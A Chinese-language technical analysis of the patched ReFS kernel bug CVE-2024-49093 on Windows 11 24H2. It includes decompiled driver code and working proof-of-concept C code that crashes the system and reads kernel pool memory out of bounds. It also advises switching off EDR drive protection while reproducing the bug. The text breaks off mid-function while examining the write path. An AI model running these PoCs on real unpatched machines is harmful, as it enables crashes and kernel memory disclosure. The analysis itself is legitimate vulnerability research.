本文分析一个去年出现在 refs.sys 的 Windows 内核漏洞: CVE-2024-49093. 测试环境基于Windows 11 24H2(Build 26100)。
ReFS(Resilient File System):是 Microsoft 开发的新一代文件系统,目标是最大化数据可用性、在多样化工作负载下高效扩展海量数据,并通过校验与修复增强数据完整性和抗损坏能力。ReFS 旨在解决不断扩展的存储需求,并为后续功能创新奠定基础。
在 ReFS 中,大多数对象以键值表的形式组织;其内部实现为 B+ 树,Microsoft 将该实现称为 MinStore B+。数据写入 ReFS 时不做就地更新,而是采取写时复制(Copy-on-Write,COW):有效载荷保存在叶节点,修改时生成新的叶节点承接旧数据再应用变更,并自底向上以 COW 方式更新父节点指针直至根。
常驻 / 非常驻(resident / non-resident):ReFS 将文件的名称、数据、ACL 等都抽象为“属性(attribute)”。当某个属性的数据较小即可内联存储于记录时称为 resident;否则切换为 non-resident,由一张 VCN→LCN 的运行列表(runlist)描述其落盘范围。
官方公告:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49093
根据公告可以知道补丁后的版本为10.0.26100.2605,定位到补丁:KB5048667。
借助https://winbindex.m417z.com/?file=refs.sys这个网站,搜索过滤条件为10.0.26100:

可见 10.0.26100.2454 大概就是修复前的累积版本。将补丁前后refs.sys比较(bindiff):

补丁版仅新增两个函数,模式特征符合 WIL(Windows Implementation Library) 风格的“特性开关”检测。微软通过加开关而非直接改旧逻辑的方式修复,便于回滚与分阶段放量。
通过交叉引用,定位到被开关管控的函数:RefsAddAllocationForResidentWrite
官方描述为 CWE-681: Incorrect Conversion between Numeric Types(数值类型转换不当)。
观察漏洞函数相关的反汇编代码:
char __fastcall RefsAddAllocationForResidentWrite(
struct _IRP_CONTEXT *a1,
struct _SCB *scb,
struct _CCB *ccb,
READ_RANGE *ranges)
{
LARGE_INTEGER ValidDataLength; // xmm1_8
char v9; // si
int IsEnabledDeviceUsageNoInline; // eax
unsigned int v11; // r8d
int ver; // ecx
bool patch_close; // zf
int v14; // eax
unsigned __int64 QuadPart; // rdx
__int16 v16; // cx
unsigned __int16 v17; // ax
DWORD LowPart; // edx
__int16 v19; // cx
unsigned __int16 v20; // ax
__int64 v21; // rcx
struct _CC_FILE_SIZES v23; // [rsp+30h] [rbp-28h] BYREF
ValidDataLength = scb->FileSizes.ValidDataLength;
*(_OWORD *)&v23.AllocationSize.LowPart = *(_OWORD *)&scb->FileSizes.AllocationSize.LowPart;
v9 = 0;
v23.ValidDataLength = ValidDataLength;
IsEnabledDeviceUsageNoInline = Feature_4213557561__private_IsEnabledDeviceUsageNoInline();
v11 = 0x20000;
ver = *((unsigned __int8 *)scb->VolumeContext + 792) << 8;
patch_close = IsEnabledDeviceUsageNoInline == 0;
v14 = *((unsigned __int8 *)scb->VolumeContext + 793);
if ( !patch_close )
{
if ( (v14 | (unsigned int)ver) < 0x30B && ranges->end.QuadPart > 0x20000 )
{
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 4u )
{
WPP_SF_D(
WPP_GLOBAL_Control->AttachedDevice,
61LL,
&WPP_4cc128319a6039b1fc529169f1e3c3a9_Traceguids,
0xC0000427LL);
}
if ( (_BYTE)RefsStatusDebugEnabled )
RefsStatusDebug(0xC0000427, a1, "write.c", 0x1097u);
RefsRaiseStatusInternal(a1, 0xC0000427, v11);
__debugbreak();
}
QuadPart = ranges->end.QuadPart;
if ( ccb )
{
v16 = *((_WORD *)ccb + 41);
if ( v16 )
{
QuadPart = scb->FileSizes.AllocationSize.LowPart + ((QuadPart - scb->FileSizes.AllocationSize.LowPart) << v16);
if ( QuadPart > 0x20000 )
QuadPart = 0x20000LL;
if ( (scb->ScbState & 1) == 0 )
_InterlockedOr(&scb->ScbState, 1u);
}
v17 = *((_WORD *)ccb + 41);
if ( v17 < 4u )
*((_WORD *)ccb + 41) = v17 + 1;
}
if ( (*((unsigned __int8 *)scb->VolumeContext + 793) | (*((unsigned __int8 *)scb->VolumeContext + 792) << 8)) < 0x30Bu// ver
|| QuadPart < 0x800 )
{
v23.AllocationSize.QuadPart = QuadPart;
v23.FileSize.QuadPart = QuadPart;
goto LABEL_29;
}
LABEL_27:
RefsConvertToNonResident(a1, scb);
return 1;
}
if ( (v14 | (unsigned int)ver) < 0x30B && ranges->end.QuadPart > 0x20000 )// 如果版本小于0x30B并且写入的End指针大于0x20000
{
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 4u )
{
WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 62LL, &WPP_4cc128319a6039b1fc529169f1e3c3a9_Traceguids, 0xC0000427LL);
}
if ( (_BYTE)RefsStatusDebugEnabled )
RefsStatusDebug(0xC0000427, a1, "write.c", 0x10EFu);
RefsRaiseStatusInternal(a1, 0xC0000427, v11);
JUMPOUT(0x1C00F3262LL);
}
LowPart = ranges->end.LowPart;
if ( ccb )
{
v19 = *((_WORD *)ccb + 41);
if ( v19 )
{
LowPart = scb->FileSizes.AllocationSize.LowPart + ((LowPart - scb->FileSizes.AllocationSize.LowPart) << v19);
if ( LowPart > 0x20000 )
LowPart = 0x20000;
if ( (scb->ScbState & 1) == 0 )
_InterlockedOr(&scb->ScbState, 1u);
}
v20 = *((_WORD *)ccb + 41);
if ( v20 < 4u )
*((_WORD *)ccb + 41) = v20 + 1;
}
if ( (*((unsigned __int8 *)scb->VolumeContext + 793) | (*((unsigned __int8 *)scb->VolumeContext + 792) << 8)) >= 0x30Bu
&& LowPart >= 0x800 )
{
goto LABEL_27;
}
v23.AllocationSize.QuadPart = LowPart;
v23.FileSize.QuadPart = LowPart;
LABEL_29:
v23.ValidDataLength.QuadPart = scb->FileSizes.ValidDataLength.QuadPart;
RefsWriteFileSizes(a1, scb, &v23, 1u);
v21 = v23.AllocationSize.QuadPart;
scb->FileSizes.AllocationSize.QuadPart = v23.AllocationSize.QuadPart;
if ( scb->NodeTypeCode == 0x805 )
scb->ValidDataHighWatermark = v21;
return v9;
}
通过动态调试,可以分析出第四个参数的结构体字段含义;分别是WriteFile写入时的偏移、偏移+写入长度指向的末尾、写入的长度。
struct READ_RANGE { LARGE_INTEGER offset; LARGE_INTEGER end; LARGE_INTEGER size; };
这个函数作用是什么?我们只分析 ReFS 版本 ≥ 3.11 的情况
ranges->end未超过常驻阈值时:通过扩驻留满足写入。True,随后由RefsAddAllocationForNonResidentWrite执行真正的非驻留扩展。ccb某字段(*((WORD*)ccb + 41))用于在短时间多次写入时做指数式增长(最多+4),再以0x20000做上限收敛;这属于写入放大控制的实现细节,对我们分析这个漏洞没有太大影响。分析补丁前后的两个代码分支,可以很明显地看到差异点:对 end使用 64 位(QuadPart)还是误用 32 位(LowPart)。
存在补丁的分支:
QuadPart = ranges->end.QuadPart; // 检查阈值(ReFS ≥ 3.11:0x800) v23.AllocationSize.QuadPart = QuadPart; v23.FileSize.QuadPart = QuadPart;
没有补丁(存在漏洞)分支:
LowPart = ranges->end.LowPart; // 检查阈值(ReFS ≥ 3.11:0x800) v23.AllocationSize.QuadPart = LowPart; v23.FileSize.QuadPart = LowPart;
也就是说,漏洞路径把本应 64 位的写入末端end截断成了 32 位LowPart,然后用这个截断值去做阈值判断和尺寸更新,导致与实际数据范围不一致的问题。这与官方描述的 “数字类型之间的转换不正确” 吻合。
使用 ReFS 文件系统可能需要升级到工作站版,升级完毕后,需要创建一个 ReFS 格式的R盘。
依据上一步的漏洞分析,要触发漏洞我们只需要保证下面的两个条件:
(size + offset)的 高 32 位不为 0(即写入末端跨过 4 GiB 边界);(size + offset)的 低 32 位 < 0x800(让阈值判断落入“驻留仍可扩”的错误分支)。可以非常容易写出下面的PoC代码:
HANDLE hc = CreateFileW(
L"R:\\233333",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
DWORD written = 0;
BYTE ddd[0x40];
OVERLAPPED ov = {};
ov.Offset = 0; // 低 32 位
ov.OffsetHigh = 1; // 高 32 位非 0,写末端跨 4GiB
WriteFile(hc, ddd, sizeof(ddd), &written, &ov);
崩溃栈:
BUGCHECK_CODE: 34 BUGCHECK_P1: 59d BUGCHECK_P2: ffffffffc0000420 BUGCHECK_P3: 0 BUGCHECK_P4: 0 EXCEPTION_RECORD: ffffffffc0000420 -- (.exr 0xffffffffc0000420) Cannot read Exception record @ ffffffffc0000420 PROCESS_NAME: poc.exe STACK_TEXT: fffff28b`362c6628 fffff803`9b7714c2 : fffff28b`362c66a8 00000000`00000001 00000000`00000100 fffff803`9b893601 : nt!DbgBreakPointWithStatus fffff28b`362c6630 fffff803`9b7709ec : 00000000`00000003 fffff28b`362c6790 fffff803`9b893820 00000000`00000034 : nt!KiBugCheckDebugBreak+0x12 fffff28b`362c6690 fffff803`9b6b8657 : ffffa505`7dee3090 fffff803`9b41a9ed ffffa505`00001000 fffff803`9b47450e : nt!KeBugCheck2+0xb2c fffff28b`362c6e20 fffff803`9b51261d : 00000000`00000034 00000000`0000059d ffffffff`c0000420 00000000`00000000 : nt!KeBugCheckEx+0x107 fffff28b`362c6e60 fffff803`9b512f3b : fffff28b`00000000 00000001`00000000 fffff28b`362c6f78 fffff28b`362c6f50 : nt!CcGetVirtualAddress+0x5cd fffff28b`362c6ef0 fffff803`9b512940 : ffffa505`804205e0 000000db`32dcfa60 fffff28b`362c7140 ffffc801`00000400 : nt!CcMapAndCopyInToCache+0x45b fffff28b`362c70d0 fffff803`9b671629 : 00000000`00000001 ffffa505`7eab11a0 ffffc801`768c2230 ffffc801`768c2201 : nt!CcCopyWriteEx+0x170 fffff28b`362c7180 fffff803`30b06f91 : ffffc801`768c2230 000000db`32dcfa60 ffffa505`7b7abd40 ffffa505`7eab11a0 : nt!CcCopyWrite+0x19 fffff28b`362c71c0 fffff803`30b069e1 : ffffa505`7ba81010 ffffa505`7c570790 ffffa505`7eab11a0 00000000`00000000 : ReFS!RefsCopyWriteInternal+0x591 fffff28b`362c75c0 fffff803`2d00b192 : fffff28b`362c7729 000000db`32dcfa60 fffff28b`362c76e0 000000db`32dcfa60 : ReFS!RefsCopyWriteA+0x71 fffff28b`362c7640 fffff803`2d0094b1 : fffff28b`362c77c0 fffff28b`362c7729 ffffa505`7fbad010 ffffa505`7fbad110 : FLTMGR!FltpPerformFastIoCall+0xb2 fffff28b`362c76a0 fffff803`2d06caa2 : fffff28b`362c1000 00000000`00000000 ffffa505`7eab11a0 00000000`00000000 : FLTMGR!FltpPassThroughFastIo+0x121 fffff28b`362c7790 fffff803`9ba8d1e4 : fffff28b`362c7800 00000000`00000000 00000000`00000000 fffff803`2d06c930 : FLTMGR!FltpFastIoWrite+0x172 fffff28b`362c7840 fffff803`9ba8ce2f : ffffa505`7eab11a0 ffffa505`7eab1170 00000000`00000000 00000000`00000000 : nt!IopWriteFile+0x1c4 fffff28b`362c7960 fffff803`9b88d155 : 00000000`0012019f 00000000`00000000 00000000`00000000 000000db`32dcfa38 : nt!NtWriteFile+0x2cf fffff28b`362c7a30 00007ffd`bb6ff824 : 00007ffd`b8a40f7a 00000000`00000000 00007ffd`b8a187ab 00000000`00000008 : nt!KiSystemServiceCopyEnd+0x25 000000db`32dcf968 00007ffd`b8a40f7a : 00000000`00000000 00007ffd`b8a187ab 00000000`00000008 000002b1`60503930 : ntdll!NtWriteFile+0x14 000000db`32dcf970 00007ff7`319911af : 000002b1`60500b60 00000000`00000000 00000000`00000470 000000db`32dcfa20 : KERNELBASE!WriteFile+0x11a 000000db`32dcf9e0 000002b1`60500b60 : 00000000`00000000 00000000`00000470 000000db`32dcfa20 00000001`00000000 : poc+0x11af 000000db`32dcf9e8 00000000`00000000 : 00000000`00000470 000000db`32dcfa20 00000001`00000000 000000db`00000080 : 0x000002b1`60500b60
但是错误码0x34的crash并不是由内存破坏导致的,而是触发了文件缓存管理器的断言检查(缓存路径在尺寸不一致时会触发断言),导致快速I/O失败,并不能用于漏洞利用。因此 PoC 需要在CreateFileW时加上FILE_FLAG_NO_BUFFERING走非缓存 I/O。
非缓存 I/O 在ReadFile/WriteFile时,长度和偏移需要满足下面的对齐条件:
使用FILE_FLAG_NO_BUFFERING标志重新编写PoC代码:
HANDLE h = CreateFileW(
L"R:\\233333",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING,
NULL);
DWORD written = 0;
BYTE ddd[0x200];
OVERLAPPED ov = {};
ov.Offset = 0;
ov.OffsetHigh = 1;
WriteFile(h, ddd, sizeof(ddd), &written, &ov);
我们可以通过打印数据流的信息观察到漏洞造成的效果(分配大小≪文件大小):
Z:\22>poc.exe Write 512 bytes [Standard] AllocationSize = 0x200 bytes, EndOfFile(FileSize) = 0x100000200 bytes, Links=1, Dir=0, DeletePending=0 [Streams] ::$DATA StreamSize=0x100000200 StreamAllocationSize=0x200
复现时建议关闭 EDR/安全中心的“驱动器保护”,否则其后台扫描会触发大范围读取,导致越界访问后蓝屏。
本文仅分析到如何在内核池中实现越界读/写为止。
之前的 PoC 已将文件的数据流保持为 resident,仅分配0x200字节,同时把文件的 EndOfFile 扩大到0x100000200,制造了AllocationSize ≪ FileSize的不一致状态:真实可用数据区远小于文件声明的大小。
那么很自然地可以想到如果使用ReadFile读取一个大于0x200字节长度的数据,是否就能直接越界读了?
下面以读取 0x1000 为例。先写入 0x200 个'A',随后读 0x1000。如果bytesRead == 0x1000,且hexdump打印中 0x200 之后仍有非零数据,即说明越界读成功。
HANDLE h = CreateFileW(
L"R:\\233333",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING,
NULL);
DWORD written = 0;
BYTE ddd[0x200];
memset(ddd, 'A', sizeof(ddd));
OVERLAPPED ov = {};
ov.Offset = 0;
ov.OffsetHigh = 1;
WriteFile(h, ddd, sizeof(ddd), &written, &ov);
DWORD readBytes = 0x1000;
LPVOID buf1 = VirtualAlloc(nullptr, readBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memset(buf1, 0, readBytes);
DWORD bytesRead = 0;
ov.Offset = 0;
ov.OffsetHigh = 0;
ok = ReadFile(h, buf1, readBytes, &bytesRead, &ov);
if (!ok) {
printf("ReadFile failed: %lu\n", GetLastError());
}
else {
printf("Read %lu bytes\n", bytesRead);
hexdump(buf1, bytesRead);
}
打印结果:

可以看到确实越界读出了数据,那么这些数据从哪来、落在哪个内核池里?
调用栈:
00 ffffab00`dc1aea78 fffff804`6c88b108 ReFS!RefsNonCachedResidentRead 01 ffffab00`dc1aea80 fffff804`6c8b8caa ReFS!RefsCommonRead+0x10b8 02 ffffab00`dc1aec20 fffff804`d5cf79fe ReFS!RefsFsdRead+0x61a 03 ffffab00`dc1af000 fffff804`67736afc nt!IofCallDriver+0xbe
下面分析RefsNonCachedResidentRead函数
void __fastcall RefsNonCachedResidentRead(_IRP_CONTEXT *a1, _IRP *a2, _SCB *a3, READ_RANGE *a4)
{
// 1) 绑定事务、构造键,用于在 MinStore B+ 表中定位这条常驻属性
memset(&v27, 0, sizeof(v27));
memset(&key, 0, sizeof(key));
CmsTable = (CmsTable *)*((_QWORD *)a3->Fcb + 32);
RefsBindMinstoreTransaction(a1);
inited = MsInitRowWithBuffer(&v27);
Row = RefsInitializeScbAttributeKey(a3, &key, 0);
if (Row >= 0)
{
// 2) MsFindRow(… , &key , inited) 查出记录,并把页上的那行拷到 inited 指向的缓冲
Row = MsFindRow(*((CmsVolume ***)a1 + 3), CmsTable, (__int64)&key);
if (Row >= 0)
{
BYTE *Buffer = (BYTE *)inited->val_ptr; // 注意:val_ptr 已被 MsFindRow/CopyRow 填充
unsigned val_len = inited->val_len;
// 3) 一系列边界合法性检查(略)
// 读取 value 内部“用户负载”的起始偏移:
unsigned valueOffset = *(DWORD*)&Buffer[*(USHORT*)(Buffer+8)] + *(USHORT*)(Buffer+8);
// 4) 将用户态缓冲映射出来,然后把 [valueOffset + a4->Offset, 长度 a4->Length]
// 直接 memmove 给用户
void* user = RefsMapUserBuffer(a2);
memmove(user, &Buffer[a4->Offset + valueOffset], a4->Length);
a2->IoStatus.Information = a4->Length;
a2->IoStatus.Status = Row;
}
}
}
该函数大致做了以下:
RefsInitializeScbAttributeKey生成),用于在 MinStore B+ 表中定位常驻属性行;MsFindRow(..., key, outRow)搜索记录,并将页内行通过CmsRowWithBuffer::CopyRow拷贝到outRow;inited上获取拷贝的源指针Buffer,随后将[valueOffset + a4->Offset, 长度 a4->Length]直接memmove到用户缓冲。但是从IDA的反汇编代码来看,MsInitRowWithBuffer只是把inited清零并让它的storage指向 0x20 字节的内联缓冲;为什么MsFindRow之后inited->val_ptr就成为一段可读的记录值?
这要结合调用约定和汇编看实参位置:
RefsNonCachedResidentRead: .text:00000001C00E3F8B call MsInitRowWithBuffer .text:00000001C00E3F90 mov r14, rax ..... .text:00000001C00E3FB6 mov [rsp+20h], r14 .text:00000001C00E3FBB lea r8, [rsp+148h+key] .text:00000001C00E3FC0 mov rdx, rsi .text:00000001C00E3FC3 call MsFindRow
将初始化后的inited指针写到了[rsp+0x20h],然后调用MsFindRow
MsFindRow: .text:00000001C00C8310 sub rsp, 48h .text:00000001C00C8314 mov rax, rdx .text:00000001C00C8317 mov r9, [rsp+70h] .text:00000001C00C831C mov rdx, rcx .text:00000001C00C831F mov rcx, rax .text:00000001C00C8322 call ?FindRow@CmsTable@@QEAAJPEAVCmsTransactionContext@@AEBU_CmsKey@@PEAVCmsRowWithBuffer@@W4Value@EmsPinRowFlags@@@Z ; CmsTable::FindRow(CmsTransactionContext *,_CmsKey const &,CmsRowWithBuffer *,EmsPinRowFlags::Value)
在MsFindRow首先调整栈指针,然后将[rsp+70h]的值作为第四个参数,通过计算0x70 - 0x48 - 8 = 0x20,可以发现实际上MsFindRow的第四个变量其实就对应RefsNonCachedResidentRead函数的[rsp+0x20],也就是inited指针。
继续分析MsFindRow,MsFindRow仅仅是把参数原封不动传给CmsTable::FindRow,而后者会PinInIndex找到页上对应的记录,再调用CmsTable::OutputRow生成一个_CmsRow视图,最终交给:
return CmsRowWithBuffer::CopyRow(a4 /*inited*/, &row, 0);
继续分析CmsRowWithBuffer::CopyRow函数:
__int64 __fastcall CmsRowWithBuffer::CopyRow(struct CmsRowWithBuffer *cmsBuffer, const struct _CmsRow *a2, int a3)
{
// ....
val_len = a2->val_len;
if ( (_DWORD)val_len )
{
key_ptr = a2->key.ptr;
p_key_ptr = &a2->key.ptr;
val_ptr = a2->val_ptr;
p_val_ptr = &a2->val_ptr;
if ( key_ptr >= val_ptr )
{
v11 = (unsigned int)val_len;
if ( key_ptr <= &val_ptr[val_len] ) // 这两个判断检查key指针是否在value区间内
{
v12 = ((a3 + 7) & 0xFFFFFFF8) + ((val_len + 7) & 0xFFFFFFF8);
goto LABEL_11;
}
}
}
key_len = (unsigned int)a2->key.len;
v11 = val_len;
if ( !(_DWORD)key_len || !(_DWORD)val_len )
{
p_key_ptr = &a2->key.ptr;
p_val_ptr = &a2->val_ptr;
LABEL_9:
v16 = (key_len + 7) & 0xFFF8;
goto LABEL_10;
}
ptr = a2->key.ptr;
p_key_ptr = &a2->key.ptr;
v15 = a2->val_ptr;
p_val_ptr = &a2->val_ptr;
if ( &ptr[key_len] < v15 || &ptr[key_len] > &v15[val_len] )// if(key_end_ptr < val_ptr || key_end_ptr > val_end_ptr)
goto LABEL_9;
v16 = (_WORD)v15 - (_WORD)ptr; // val_ptr - key_ptr 计算两个空间的间隙
LABEL_10:
v12 = v16 + ((val_len + 7) & 0xFFFFFFF8) + ((a3 + 7) & 0xFFFFFFF8);// val_len 8字节向上取整
if ( !(_DWORD)val_len )
{
LABEL_13:
v17 = 0;
goto LABEL_14;
}
LABEL_11:
if ( *p_key_ptr < *p_val_ptr || *p_key_ptr > &(*p_val_ptr)[v11] )
goto LABEL_13;
v17 = 1;
LABEL_14:
if ( !cmsBuffer->storage )
CmsRowWithBuffer::Reset(cmsBuffer);
if ( v12 > cmsBuffer->capacity ) // 如果大于之前的空间,则要重新创建新的空间
{
v18 = 8 * ((unsigned __int64)v12 >> 3); // 保证8字节对齐
if ( !is_mul_ok((unsigned __int64)v12 >> 3, 8uLL) )
v18 = -1LL;
PoolWithTag = (BYTE *)ExAllocatePoolWithTag((POOL_TYPE)0x200, v18, 'iPSM');
if ( !PoolWithTag )
return 0xC000009ALL;
if ( (cmsBuffer->flags & 1) != 0 ) // 如果之前已经用是申请的池空间
{
storage = cmsBuffer->storage;
if ( storage )
ExFreePoolWithTag(storage, 0); // 那么需要还要释放掉之前的空间
}
cmsBuffer->flags |= 1u;
cmsBuffer->storage = PoolWithTag; // 赋值新的
cmsBuffer->capacity = v12;
}
v20 = cmsBuffer->storage;
v21 = &cmsBuffer->row.val_ptr;
cmsBuffer->row.key.ptr = v20;
len = a2->key.len;
cmsBuffer->row.key.len = a2->key.len;
cmsBuffer->row.val_ptr = v20;
cmsBuffer->row.val_len = a3 + a2->val_len;
if ( v17 )
{
v20 += (unsigned int)(LODWORD(a2->key.ptr) - LODWORD(a2->val_ptr));
cmsBuffer->row.key.ptr = v20;
goto LABEL_29;
}
v23 = (unsigned int)a2->key.len;
if ( (_DWORD)v23 && (v24 = a2->val_len, (_DWORD)v24) )
{
v25 = a2->key.ptr;
v26 = a2->val_ptr;
if ( &v25[v23] >= v26 )
{
v21 = &cmsBuffer->row.val_ptr;
if ( &v25[v23] <= &v26[v24] )
{
v27 = (_WORD)v26 - (_WORD)v25;
goto LABEL_28;
}
}
}
else
{
LOWORD(v23) = a2->key.len;
}
v27 = (v23 + 7) & 0xFFF8;
LABEL_28:
*v21 = &v20[v27];
LABEL_29:
if ( len )
*(_QWORD *)&v20[((len + 7) & 0xFFFFFFF8) - 8] = 0LL;
v28 = cmsBuffer->row.val_len;
if ( v28 )
*(_QWORD *)&(*v21)[((v28 + 7) & 0xFFFFFFF8) - 8] = 0LL;
cmsBuffer->row.key.flags = a2->key.flags;
v29 = a2->key.ptr;
if ( (unsigned __int64)(v29 - 2) <= 2 )
cmsBuffer->row.key.ptr = v29;
else
memmove(cmsBuffer->row.key.ptr, v29, (unsigned int)a2->key.len);
memmove(cmsBuffer->row.val_ptr, a2->val_ptr, a2->val_len);
return 0LL;
}
直接从函数名来看CmsRowWithBuffer::CopyRow函数的作用就是把_CmsRow复制进CmsRowWithBuffer.
CmsRowWithBuffer:键值行副本缓冲;它里面既有一个_CmsRow,也有承载实际字节的空间。
struct _CmsKey
{
__int32 len;
__int16 flags;
__int16 field_6;
BYTE *ptr;
};
struct _CmsRow
{
_CmsKey key;
unsigned int val_len;
BYTE *val_ptr;
};
struct CmsRowWithBuffer
{
_CmsRow row;
BYTE *storage;
__int8 flags;
__int32 capacity;
__int8 inline_storage[32];
};
初始时storage指针指向inline_storage数组,capacity为0x20。
CmsRowWithBuffer::CopyRow其中有很多计算key_ptr和val_ptr重叠和间隙的代码,这里暂不分析其作用;
现在主要分析if ( v12 > cmsBuffer->capacity )里的代码,前面提到每个CmsRowWithBuffer里面都有0x20字节的内联,如果val_len大于capacity,那么就会尝试从池内存新开辟一段内存,然后替换掉原来的storage指针,并更新capacity,flags用于标记之前是否已经申请过池内存了,如果为1,则还需要释放掉原先申请的池内存。
以之前PoC代码为例,第一步WriteFile写入的数据流长度为0x200,加上0x3C的头长度,8字节向上取整以后,由此ExAllocatePoolWithTag会在池中分配 0x250 字节。
最后CmsRowWithBuffer::CopyRow会调用memmove将之前的数据拷贝到新的内存上,完成对cmsBuffer的拷贝,并返回给RefsNonCachedResidentRead;
RefsNonCachedResidentRead从cmsBuffer取出val_ptr指针,也就是CmsRowWithBuffer::CopyRow申请的池内存作为memove的src指针,拷贝的长度为ReadFile指针的size。
总结:我们可以利用漏洞制造一个AllocationSize ≪ FileSize 的不一致状态的文件,然后读取一个超过写入长度的数据造成OOB read。
由于非缓存I/O的限制WriteFile的size必须是扇区大小的倍数,且要小于常驻阈值0x800,因此能够申请的长度为0x200、0x400、0x600,那么能够越界读的池长度为0x260、0x460、0x660;
WriteFile能否像ReadFile那样直接进行越界写?下面分析写入时最关键的函数:
__int64 __fastcall RefsResidentWrite(
struct CmsTransactionContext **a1,
struct _IRP *a2,
struct _SCB *scb,
int offset,
unsigned int BytesToWrite)
{
char v9; // r14
NTSTATUS v10; // ebx
BYTE *UserBuffer; // r9
CmsVolume **v12; // rcx
CmsBPlusTable **Fcb; // rax
NTSTATUS updated; // eax
NTSTATUS v15; // ebx
unsigned int v16; // r8d
unsigned int v17; // r8d
__int64 *v19; // [rsp+20h] [rbp-A8h]
__int64 v20[2]; // [rsp+30h] [rbp-98h] BYREF
CmsRowWithBuffer v21; // [rsp+40h] [rbp-88h] BYREF
memset(&v21, 0, sizeof(v21));
v9 = 0;
RefsBindMinstoreTransaction((struct _IRP_CONTEXT *)a1);
v10 = RefsInitializeScbAttributeKey(scb, &v21, 1);
if ( v10 >= 0 )
{
if ( a2 )
{
UserBuffer = (BYTE *)RefsMapUserBuffer(a2);
if ( (a2->Flags & 2) != 0 )
{
v9 = 1;
*(_QWORD *)a1[3] |= 0x4000000uLL;
}
}
else
{
UserBuffer = (BYTE *)&P;
}
v12 = (CmsVolume **)a1[3];
v20[0] = (unsigned int)(offset + scb->AttributeHdrLength);
Fcb = (CmsBPlusTable **)scb->Fcb;
v20[1] = BytesToWrite;
v19 = v20;
updated = MsUpdateMetaRow(v12, Fcb[32], &v21, UserBuffer);
// ...
}
这里和读路径类似,RefsResidentWrite也是先由RefsInitializeScbAttributeKey构造行键;
这个函数同样有之前的IDA反汇编问题,实际上还封装了写入的范围__int64 v20[2]作为MsUpdateMetaRow的第五个参数,这俩个值分别为offset + scb->AttributeHdrLength和BytesToWrite。
之后调用MsUpdateMetaRow进行更新。
// positive sp value has been detected, the output may be wrong!
__int64 __fastcall MsUpdateMetaRow(CmsVolume **a1, CmsBPlusTable *a2, CmsRowWithBuffer *a3, BYTE *UserBuffer)
{
_QWORD *v6; // r14
CmsVolume *v7; // rcx
__int64 v8; // r10
CmsBPlusTable *v9; // r11
int v10; // edi
int v11; // ebx
unsigned int val_len; // r12d
__int64 v13; // r15
int v14; // r9d
unsigned int v15; // edi
unsigned int v16; // r12d
struct SmsLookupStack *v17; // rax
__int64 v18; // r15
__int64 v21; // [rsp+10h] [rbp-218h]
_CmsKey key; // [rsp+18h] [rbp-210h] BYREF
CmsRowWithBuffer v23; // [rsp+28h] [rbp-200h] BYREF
unsigned int v24; // [rsp+78h] [rbp-1B0h]
int v25; // [rsp+7Ch] [rbp-1ACh]
BYTE *v26; // [rsp+80h] [rbp-1A8h]
__int64 v27; // [rsp+88h] [rbp-1A0h] BYREF
__int128 v28; // [rsp+A0h] [rbp-188h]
int v29; // [rsp+B0h] [rbp-178h]
__int64 v30; // [rsp+B8h] [rbp-170h] BYREF
struct CmsTableCursor CmsTableCursor; // [rsp+E8h] [rbp-140h] BYREF
BYTE *v32; // [rsp+210h] [rbp-18h]
_QWORD *v33; // [rsp+218h] [rbp-10h]
v6 = v33;
LOWORD(v28) = 0;
v29 = 0;
CmsRowWithBuffer::GetPhysicalKey(a3, &key);
CmsMatchAllCursor::CmsMatchAllCursor((CmsMatchAllCursor *)&CmsTableCursor, &key);
memset(&v23, 0, 0x14);
v23.row.val_ptr = 0LL;
CmsVolume::BeginTopLevelActionInternal(
v7,
(struct CmsTransactionContext *)a1,
(struct _SmsTopLevelAction *)&v27,
0,
0);
if ( (*(_DWORD *)(*((_QWORD *)v9 + 3) + 44LL) & 1) != 0 )
{
if ( (*(_BYTE *)(v8 + 40) & 2) != 0 )
{
*(_QWORD *)key.ptr = 0LL;
v11 = *(_DWORD *)&v23.inline_storage[4];
while ( 1 )
{
v10 = CmsTable::Enumerate(v9, a1, &CmsTableCursor, &v23, 0xB05, 0);
if ( v10 )
break;
v23.storage = (BYTE *)(unsigned int)v23.row.key.ptr->field_4;
val_len = v23.row.val_len;
*(_QWORD *)&v23.flags = v23.row.val_len;
v13 = v6[1]; // BytesToWrite
v21 = *v6; // offset + scb->AttributeHdrLength
if ( *v6 + v13 > (unsigned __int64)(unsigned int)v23.row.key.ptr->RecordSizeBytes )
goto LABEL_14;
if ( IsWithinRange<_RANGE,unsigned __int64>(v6, &v23.storage) )
{
v15 = *(_DWORD *)v6 - v14;
v16 = val_len - v15;
if ( v16 >= *((_DWORD *)v6 + 2) )
v16 = *((_DWORD *)v6 + 2);
v17 = SmsLookupStack::Copy((__int64 *)&CmsTableCursor.pin, (SmsLookupStack *)&v30, (__int64)a1, 0);
*(_DWORD *)v23.inline_storage = v16;
*(_QWORD *)&v23.inline_storage[8] = UserBuffer;
*(_CmsKey *)&v23.inline_storage[16] = v23.row.key;
v24 = v16;
v25 = v11;
v26 = UserBuffer;
v10 = CmsBPlusTable::UpdateInIndex(a2, (__int64)a1, (const void **)&v23.inline_storage[16], v17, v15);
SmsLookupStack::~SmsLookupStack((SmsLookupStack *)&v30);
if ( v10 < 0 )
break;
UserBuffer += v16;
v32 = UserBuffer;
*v6 = v16 + v21;
v18 = v13 - v16;
v6[1] = v18;
if ( !v18 )
break;
v9 = a2;
}
else
{
